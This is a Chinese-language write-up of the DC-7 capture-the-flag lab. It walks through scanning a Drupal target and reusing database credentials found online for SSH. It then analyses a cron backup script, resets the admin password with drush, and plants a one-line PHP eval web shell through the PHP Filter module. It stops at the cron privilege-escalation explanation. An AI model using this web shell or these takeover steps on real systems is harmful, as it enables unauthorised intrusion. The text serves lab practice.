一、信息收集
主机:129.168.209.143
靶机:129.168.209.156
1、kscan工具扫描靶机ip
Welcome to DC-7 DC-7 introduces some “new” concepts, but I’ll leave you to figure out what they are. 😃 While this challenge isn’t all that technical, if you need to resort to brute forcing or a dictionary attacks, you probably won’t succeed.What you will have to do, is to think “outside” the box. Way “outside” the box. 😃
dc-7介绍一些“新”概念,但我会让你们自己去弄清楚它们到底是什么。虽然这个挑战并不全是技术性的,如果你要使用暴力或者字典攻击,你可能不会成功。你要做的是,跳出传统的思维框框,以新的眼光看问题,独辟蹊径。
2、wappalyzer工具获得管理系统等信息
这里可以看出是在/search/目录下,内容管理系统为Drupal
3、dirsearch工具扫描目录文件
dirsearch -u http://192.168.209.156
这里是302状态 登录页面
二、漏洞挖掘
1、msf工具
2、burpsuit
这些都看不出啥。。。
这时我的脑子还停留在”在盒子外面“这句话。
我注意到的就是:
这里的@DC-7USER是什么呢?
学着其他人谷歌一下:
<?php
$servername = "localhost";
$username = "dc7user";
$password = "MdR3xOgB7#dW";
$dbname = "Staff";
$conn = mysqli_connect($servername, $username, $password, $dbname);
?>
22端口有ssh,尝试进行登录、
ssh dc7user@192.168.209.156
登陆成功!
发现有backups文件夹、mbox文件
backups文件夹的.gpg文件经过搜索知道是加密文件。
查看mbox文件
定时备份
/opt/scripts/backups.sh
那我就进入到/opt/scripts目录下,查看一下这个backups.sh脚本文件
这里还出现了一句话,你有一件新的邮件在/var/mail/dc7user里。
仔细分析一下backups.sh里面的内容:
#!/bin/bash
rm /home/dc7user/backups/*
cd /var/www/html/
drush sql-dump --result-file=/home/dc7user/backups/website.sql
cd ..
tar -czf /home/dc7user/backups/website.tar.gz html/
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.sql
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.tar.gz
chown dc7user:dc7user /home/dc7user/backups/*
rm /home/dc7user/backups/website.sql
rm /home/dc7user/backups/website.tar.gz
第一行:
#!/bin/bash
#!/bin/bash是指此脚本使用/bin/bash来解释执行。
#!是特殊的表示符,后面跟的是解释脚本的解释器路径。
因为脚本的内容是由解释器解释的,我们可以用各种各样的解释器来写对应的脚本。
比如说/bin/csh脚本,/bin/perl脚本,/bin/awk脚本,/bin/sed脚本,甚至/bin/echo等等。
#!/bin/bash同理。
第二行:
rm /home/dc7user/backups/*
rm(英文全拼:remove): 删除文件或目录
删除 /home/dc7user/backups/目录下的所有文件。
接着就是:
cd /var/www/html/
drush sql-dump --result-file=/home/dc7user/backups/website.sql
cd ..
tar -czf /home/dc7user/backups/website.tar.gz html/
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.sql
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.tar.gz
打开/var/www/html ;在该目录下可以执行drush语句;接着对文件进行加密,gpg命令 执行加密。
drush是一个shell接口,用于从云服务器命令行管理Drupal。
drush命令可以执行修改账号密码命令,猜测存在一个叫做admin用户,可以尝试修改它的密码为123456。
cd /var/www/html
drush user-password admin --password="123456"
admin
123456
因为dc7的CMS是Drupal8,已经移除了PHP Filter,后续作为一个模组存在,可以手动安装。
https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz
点击蓝色Enable newly added modules
下载成功
<?php
@eval($_POST[pass]);
?>
http://192.168.209.156/node/4
三、漏洞利用
cron 计划任务通常以root权限运行。如果我们可以成功修改cron jobs中定义的任何脚本或二进制,则可以root权限执行任意代码。